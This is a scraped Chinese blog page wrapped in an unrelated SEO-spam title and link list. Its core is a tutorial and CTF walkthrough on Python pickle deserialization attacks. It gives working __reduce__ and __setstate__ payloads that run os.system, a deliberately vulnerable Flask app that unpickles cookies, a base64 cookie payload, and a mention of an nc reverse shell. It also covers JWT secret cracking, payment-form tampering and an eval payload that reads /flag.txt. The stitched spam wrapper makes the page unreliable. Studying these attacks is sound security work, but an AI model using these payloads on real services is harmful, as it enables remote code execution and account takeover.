当前位置: 首页 > news >正文

采用css div做网站广点通推广登录入口

采用css div做网站,广点通推广登录入口,触摸终端软件门户网站,长春网站建设优化#知识点: 1、Python-反序列化函数使用 2、Python-反序列化魔术方法 3、Python-反序列化 POP 链构造(payload构造) 4、Python-自动化审计 bandit 使用 #前置知识: 函数使用: pickle.dump(obj, file) : 将对…

#知识点:

1Python-反序列化函数使用

2Python-反序列化魔术方法

3Python-反序列化 POP 链构造(payload构造)

4Python-自动化审计 bandit 使用

#前置知识:

函数使用:

pickle.dump(obj, file) : 将对象序列化后保存到文件

pickle.load(file) : 读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj) : 将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

魔术方法:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

各类语言函数:

JavaSerializable Externalizable 接口、fastjsonjacksongson

ObjectInputStream.readObjectObjectInputStream.readUnshared

XMLDecoder.readObjectYaml.loadXStream.fromXML

ObjectMapper.readValueJSON.parseObject

PHPserialize()unserialize()

Pythonpickle marshal PyYAML shelve PIL unzip


Ø 原理-反序列化魔术方法-调用理解

Ø CTF-反序列化漏洞利用-构造&RCE

Ø CTF-CISCN2019 华北-JWT&反序列化

Ø 代码审计-自动化工具-bandit 安装及使用


#原理-反序列化魔术方法-调用理解

-魔术方法利用:

__reduce__() 反序列化时调用

__reduce_ex__() 反序列化时调用

__setstate__() 反序列化时调用

__getstate__() 序列化时调用

#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()

具体代码:

class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

Pickle.dumps是序列化操作,pickle.loads是反序列化操作

# 构造 __setstate__ 方法

具体代码:

class SerializePerson():def __init__(self, name):#自启动方法self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc')  # 恶意代码
tmp = pickle.dumps(SerializePerson('tom'))  #序列化
pickle.loads(tmp)  # 反序列化 此时会弹出计算器
print(tmp)

#序列化魔术方法调用-__getstate__

具体代码:

class A(object):def __getstate__(self):print('序列化调用')os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)

#反序列化安全漏洞产生-DEMO

具体代码:

class A(object):def __init__(self, func, arg):self.func = funcself.arg = argprint('This is A')def __reduce__(self):print('反序列化调用')return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)

#CTF-反序列化漏洞利用-构造&RCE

环境介绍:利用python-flask搭建的web应用,获取当前用户的信息,进行展示,在获取用户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞

具体环境代码:

import pickle
import base64
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():try:user = base64.b64decode(request.cookies.get('user'))user = pickle.loads(user)username = user["username"]except:username = "Guest"return "Hello %s" % usernameif __name__ == "__main__":app.run(host='192.168.101.1',port=5000,debug=True)

根据以上代码得知,它会接收Cookie值,传给user进行反序列化,也就是说我们可以在cookie上写入我们的pop链,同时需注意base64加密

Flag.py——pop链构造gASVHAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjARjYWxjlIWUUpQu

通过bp,将user的序列化数据放到cookie中,成功执行命令

进行nc反弹:

本地监听端口

通过bp进行手动请求

也可以写入脚本自动请求

#CTF-CISCN2019 华北-JWT&反序列化

通过提示>寻找LV6 >购买修改支付逻辑>绕过admin限制需修改wt值- >爆破jwt密匙> 重组jwt值成为admin->购买进入会员中心>源码找到文件压缩源码> Python代码审计反序列化>构造读取flag代码进行序列化打印->提交获取
考点1: JWT身份验证攻击点:
https://www.cnblogs.com/vege/p/14468030.html
https://github.com/ck00004/c-jwt- -cracker

考点2: Python代码审计反序列化:
自动工具: https/lithub.com/PyCQA/bandit
参考资料: https /github .com/bit4woo/python_ sec
1. 获取LV6

写一个脚本

import requests,time
url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r=requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')

2.购买修改支付逻辑

修改表单

3.绕过admin限制需修改wt值

修改JWT

4.爆破jwt密匙c-jwt-cracker

5.重组jwt值成为admin

6.购买进入会员中心

7.源码找到文件压缩源码

下载文件www.zip

8.Python代码审计反序列化

直接查看特定函数——pickle.loads

得知会对值进行url解码,所以构造pop时需要考虑到这点

9.构造读取flag代码进行序列化打印

import pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload())
a = urllib.quote(a)
print a

需要考虑对方的语言环境

确定对方语言版本:

  1. 看关键函数
  2. 查看print(如:python2的print不需要括号,python3需括号

10.提交获取

查询谁调用此对象

#代码审计-自动化工具-bandit 安装及使用

审计出漏洞地方

http://www.hkea.cn/news/9281/

相关文章:

  • 哪些网站可以医生做兼职网站策划是做什么的
  • 网站开发也需要源码吗谷歌官方app下载
  • 新闻热点事件及评论seo咨询河北
  • 门户网站建设工作的自查报告品牌营销策划公司哪家好
  • wordpress参数传递的函数德州seo优化
  • 国外做的比较好的展台网站怎么开通百度推广账号
  • 如何做单页网站seo概念的理解
  • 文化传媒公司起名字大全免费长春seo代理
  • 有哪些站内推广的方式app有哪些推广方式
  • wordpress 3.7.1 漏洞湖北seo网站推广
  • 炒股网站怎么做广州百度竞价开户
  • 如何去国外网站看内容短视频精准获客系统
  • 做网站的公司赚钱吗高清视频网络服务器
  • 群站wordpress百度网页版主页网址
  • 做国外网站汇款用途是什么移动营销
  • 简约创意情人节海报设计上海高端seo公司
  • 杭州个人做网站优化新十条
  • wordpress mo文件长沙seo排名收费
  • 怎样办网站seo关键词优化提高网站排名
  • 手机网站制作天强科技郑州专业seo首选
  • 设计师做单页的网站seo关键词查询
  • 广州正规网站建设公司chrome官网
  • 网站 内容 不收录 权重 1手机建立一个免费网站
  • 网站在开发过程中如何做SEO个人介绍网页制作
  • 丝袜怎么做的视频网站seo搜索引擎优化业务
  • 建筑网站绿地新里城公司做网络推广怎么做
  • 资产管理公司网站建设费用怎么入账网页制作作业100例
  • 重庆做网站电话seo哪里可以学
  • php做简单网站教程视频一键优化下载安装
  • 一个公司做两个网站可以吗网站推广策划思路